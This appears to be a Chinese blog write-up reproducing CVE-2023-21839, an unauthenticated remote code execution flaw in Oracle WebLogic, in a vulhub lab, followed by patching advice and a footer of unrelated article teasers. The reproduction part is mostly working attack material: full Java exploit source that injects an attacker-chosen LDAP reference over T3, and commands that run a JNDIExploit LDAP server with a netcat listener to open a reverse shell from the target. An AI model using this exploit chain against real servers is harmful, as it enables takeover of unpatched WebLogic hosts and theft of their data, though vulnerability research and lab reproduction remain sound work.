Weblogic未授权远程代码执行漏洞 (CVE-2023-21839)

1 漏洞概述

CVE-2023-21839是一个针对Oracle WebLogic Server的远程代码执行漏洞。WebLogic是美国Oracle公司出品的一个Java应用服务器,用于本地和云端开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用。该漏洞源于WebLogic IIOP/T3协议存在的缺陷,当IIOP/T3协议开启时,允许未经身份验证的攻击者通过该协议网络访问并攻击存在安全风险的WebLogic Server。一旦漏洞被利用成功,攻击者可以接管WebLogic Server并执行任意命令,可能导致服务器沦陷或严重的敏感数据泄露。

2 漏洞影响范围

受CVE-2023-21839漏洞影响的WebLogic Server版本包括:

  • Weblogic 10.3.6

  • Weblogic 12.1.3

  • Weblogic 12.2.1.3.0

  • Weblogic 12.2.1.4.0

  • Weblogic 14.1.1.0.0

3 vulhub靶场部署

进入漏洞文件cd vulhub/weblogic/CVE-2023-21839
部署漏洞环境
docker compose up -d
查看端口
docker compose ps
​

访问 ,您将看到页面,表示环境正在成功运行。

4 漏洞复现

4.1 DNSLOG探测

EXP链接:GitHub - DXask88MA/Weblogic-CVE-2023-21839(jar包形式)

源码poc:

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.lang.reflect.Field;
import java.util.Hashtable;
import java.util.Random;
​
public class CVE_2023_21839 {static String JNDI_FACTORY="weblogic.jndi.WLInitialContextFactory";static String HOW_TO_USE="[*]java -jar 目标ip:端口 ldap地址\ne.g. java -jar 192.168.220.129:7001 ldap://192.168.31.58:1389/Basic/ReverseShell/192.168.220.129/1111";
​private static InitialContext getInitialContext(String url)throws NamingException{Hashtable<String,String> env = new Hashtable<String,String>();env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);env.put(Context.PROVIDER_URL, url);return new InitialContext(env);}public static void main(String args[]) throws Exception {if(args.length <2){System.out.println(HOW_TO_USE);System.exit(0);}String t3Url = args[0];String ldapUrl = args[1];InitialContext c=getInitialContext("t3://"+t3Url);Hashtable<String,String> env = new Hashtable<String,String>();env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");weblogic.deployment.jms.ForeignOpaqueReference f=new weblogic.deployment.jms.ForeignOpaqueReference();Field jndiEnvironment=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");jndiEnvironment.setAccessible(true);jndiEnvironment.set(f,env);Field remoteJNDIName=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");remoteJNDIName.setAccessible(true);remoteJNDIName.set(f,ldapUrl);String bindName = new Random(System.currentTimeMillis()).nextLong()+"";try{c.bind(bindName,f);c.lookup(bindName);}catch(Exception e){ }
​}
}

(1)使用攻击机B 执行exp脚本攻击靶场A, 执行exp需要java 1.8的环境

(2)攻击机执行以下命令后,刷新dnslog即可

java -jar Weblogic-CVE-2023-21839.jar 靶场ip:7001 ldap://5jszbq.dnslog.cn

4.2 反弹shell

(1)首先需要使用JNDIExploit-1.4-SNAPSHOT.jar工具启动ladp服务

下载链接:GitHub - WhiteHSBG/JNDIExploit: 对原版https://github.com/feihong-cs/JNDIExploit 进行了实用化修改

(2)下载后需要在服务器C搭建ldap服务,其实就是启动上边那个jar包

java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 服务器Cip

(3)启动完成后还需进行端口监听,服务器C直接启动nc进行监听

(4)此时使用攻击机B执行exp

java -jar Weblogic-CVE-2023-21839.jar 靶场 IP:7001 p://ldap服务器IP:1389/Basic/ReverseShell/ldap服务器IP/
​

(5)此时查看ldap服务器C,成功反弹shell

6 漏洞防护

针对CVE-2023-21839漏洞,建议采取以下安全防范措施:

  1. 尽快自查WebLogic版本,对受影响的版本及时更新到最新版本或应用官方发布的安全补丁。

  2. 临时阻止外部访问WebLogic Server的T3/T3s协议和禁用IIOP协议,以减少潜在的攻击面。

  3. 升级JDK版本至推荐版本,以避免因JDK版本过低导致的RCE漏洞。

  4. 加强网络访问控制,限制对WebLogic Server的访问权限,只允许必要的IP地址或网络段进行访问。

  5. 定期对系统进行安全审计和漏洞扫描,及时发现并修复潜在的安全隐患。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/700174.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ATA-4315高压功率放大器在高频理疗仪驱动中的应用

现代社会&#xff0c;面对生活压力、工作压力&#xff0c;再加上不良的生活习惯&#xff0c;难免身体会出现这样或那样的问题&#xff0c;随着科技的发展&#xff0c;我们除了来到医院进行具体的治疗&#xff0c;一些可以用来辅助医生进行治疗的仪器设备也越来越多的应用到了临…

JSON在线解析及格式化验证 - JSON.cn网站

JSON在线解析及格式化验证 - JSON.cn https://www.json.cn/

5月14(信息差)

&#x1f30d;字节携港大南大升级 LLaVA-NeXT&#xff1a;借 LLaMA-3 和 Qwen-1.5 脱胎换骨&#xff0c;轻松追平 GPT-4V Demo 链接&#xff1a;https://llava-next.lmms-lab.com/ &#x1f384;阿里巴巴开源的15个顶级Java项目 ✨ 欧洲在线订餐服务Takeaway.com&#xff1a…

Token 计费与计算、tiktoken介绍

Token怎么计算的&#xff1f; 每个模型都具有不同的功能和价格。价格是按照每1000个 Token 计算的。您可以将Token视为单词的组成部分&#xff0c;其中1000个Token 大约相当于750个单词。(这段文字包含35个Token) 可以看到35个颜色块 每个块都有ID 英文、中文 都会有单独的一个…

xFormers

文章目录 一、关于 xFormers二、安装 xFormers三、基准测试&#xff08;可选&#xff09;测试安装 四、使用 xFormers1、Transformers 关键概念2、Repo 地图注意力机制Feed forward mechanismsPositional embeddingResidual pathsInitializations 3、主要特征4、安装故障排除 一…

使用Docker创建verdaccio私服

verdaccio官网 1.Docker安装 这边以Ubuntu安装为例Ubuntu 安装Docker​&#xff0c;具体安装方式请根据自己电脑自行搜索。 2.下载verdaccio docker pull verdaccio/verdaccio3.运行verdaccio 运行容器&#xff1a; docker run -it -d --name verdaccio -p 4873:4873 ver…

‍♂️垃圾收集算法必看!学习指数满天星!!!

&#x1f435;看完这篇文章&#xff0c;希望你有点收获&#x1f697; 注意&#xff1a;看之前你需要对JVM有点了解。。。 首先&#xff0c;垃圾回收算法主要分有三种: 标记-清除算法 见名知意&#xff0c;标记-清除&#xff08;Mark-Sweep&#xff09;算法分为两个阶段&#…

小米打印机Mi All-in-One Inkjet Printer进行扫描

1&#xff0c;打开电脑的控制面板&#xff0c;找到打印机 2&#xff0c;&#xff0c;选择小米打印机【Mi All-in-One Inkjet Printer】&#xff1b;右键&#xff0c;选择开始扫描 3&#xff0c;可以预览&#xff0c;或者直接扫描 4&#xff0c;点击下一步&#xff0c;导入图片 …

使用 Flask Blueprint 实现模块化 Web 应用

文章目录 1. 什么是 Flask Blueprint&#xff1f;2. 为什么要使用 Flask Blueprint&#xff1f;3. 如何使用 Flask Blueprint&#xff1f;4. 在 Blueprint 之间进行通信5. 结合 Flask 插件系统进行功能拓展结语 当构建大型 Flask Web 应用时&#xff0c;保持代码的组织结构清晰…

USB3.0接口——(2)数据结构

1.数据结构 在 USB 3.0 及更高版本的 xHCI 协议中&#xff0c;“Rings”、“Transfer Request Block (TRB)” 和 “Transfer Descriptor (TD)” 是用于管理 USB 数据传输和事件的重要概念。 1.1.Rings Rings是指一种数据结构&#xff0c;用于组织和管理 USB 数据传输和事件。…

STM32-07-STM32_外部中断

文章目录 STM32 中断系统1. 中断2. NVIC3. EXTI4. AFIO5. 中断配置步骤6. 外部中断代码 STM32 中断系统 1. 中断 目的&#xff1a;中断系统是为使CPU具有对外界紧急事件的实时处理能力而设置的。中断过程&#xff1a;当CPU正在处理某事件的时候外界发生了紧急事件请求 &#…